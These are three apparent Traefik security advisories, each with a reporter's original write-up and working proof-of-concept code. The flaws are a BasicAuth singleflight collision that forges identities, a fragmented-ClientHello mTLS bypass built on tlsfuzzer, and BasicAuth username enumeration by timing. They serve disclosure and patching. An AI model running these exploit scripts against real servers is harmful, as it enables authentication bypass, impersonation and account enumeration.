Summary

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in pkg/middlewares/auth/basicauth.go:118-131:

go func (b basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm)

key := password + secret match, , := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { = b.checkSecret(password, b.notFoundSecret) return false, nil }

return b.checkSecret(password, secret), nil })

return match.(bool) }

For a configured user viewer:

text password = P secret = H key = P || H result = true

For an unconfigured user admin:

text password = P || H secret = "" key = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.

The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:

go req.URL.User = url.User(user)

if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }

Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.

Attack prerequisites

The attacker needs:

1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:

- access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.

Proof of Concept

Validation environment

- Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: 2026-07-15T12:42:25Z. - Go version in the release: go1.26.5. - Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7. - The checksum matched the official traefikv3.7.8checksums.txt release asset. - No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

yaml http: routers: app: entryPoints: - web rule: PathPrefix(/) middlewares: - auth service: backend

middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

yaml global: checkNewVersion: false sendAnonymousUsage: false

api: insecure: true

entryPoints: web: address: 127.0.0.1:18080

providers: file: filename: /absolute/path/to/dynamic.yml watch: false

The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:

python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.sendresponse(200) self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, args): pass

ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serveforever()

Start the backend and Traefik in separate shells.

Shell 1:

bash python3 backend.py

Shell 2:

bash ./traefik --configFile=/absolute/path/to/static.yml

Exploit client

python import base64 import http.client import json import threading import time import urllib.request

HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."

def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body

middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("apiusers", middleware["basicAuth"]["users"]) print("validbaseline", request("viewer", PASSWORD)) print("attackerbaseline", request("admin", PASSWORD + HASH))

wins = 0 for in range(25): validresult = {} valid = threading.Thread( target=lambda: validresult.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1

print("forgedadminsuccesses", wins, "of", 25)

Observed output

text apiusers ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] validbaseline (200, 'viewer') attackerbaseline (401, '401 Unauthorized') forgedadminsuccesses 25 of 25

The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.

</details>

---

Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.

Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc

CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt

Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no

[dn] CN = whoami.home.arpa

[v3req] subjectAltName = @altnames

[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF

openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf

Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"

providers: file: directory: /etc/traefik/dynamic watch: true

log: level: DEBUG EOFTRAEFIKCFG

cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls

services: whoami: loadBalancer: servers: - url: "http://whoami:80"

tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG

docker network create traefik-poc

run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0

docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml

watch traefik logs to ensure everything was deployed correctly docker logs traefik

tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer

python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt

cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os

from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain

class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")

def loadclientcertandkey(certpath, keypath): cert = None key = None

if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)

if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)

return cert, key

def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()

cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)

print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")

print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")

if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")

conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))

ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }

ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]

node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())

if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())

node = node.addchild(ExpectServerHelloDone())

if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())

else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise

if name == "main": main() EOFFRAGSCRIPT

chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate

case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request

case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror

case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key

case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet

case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF

Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.

</details>

--

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC Environment: - Traefik v3.6.9 - k3s v1.34.5

Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80

PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s

Timing difference ratio: 298.0x

Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None

</details>

---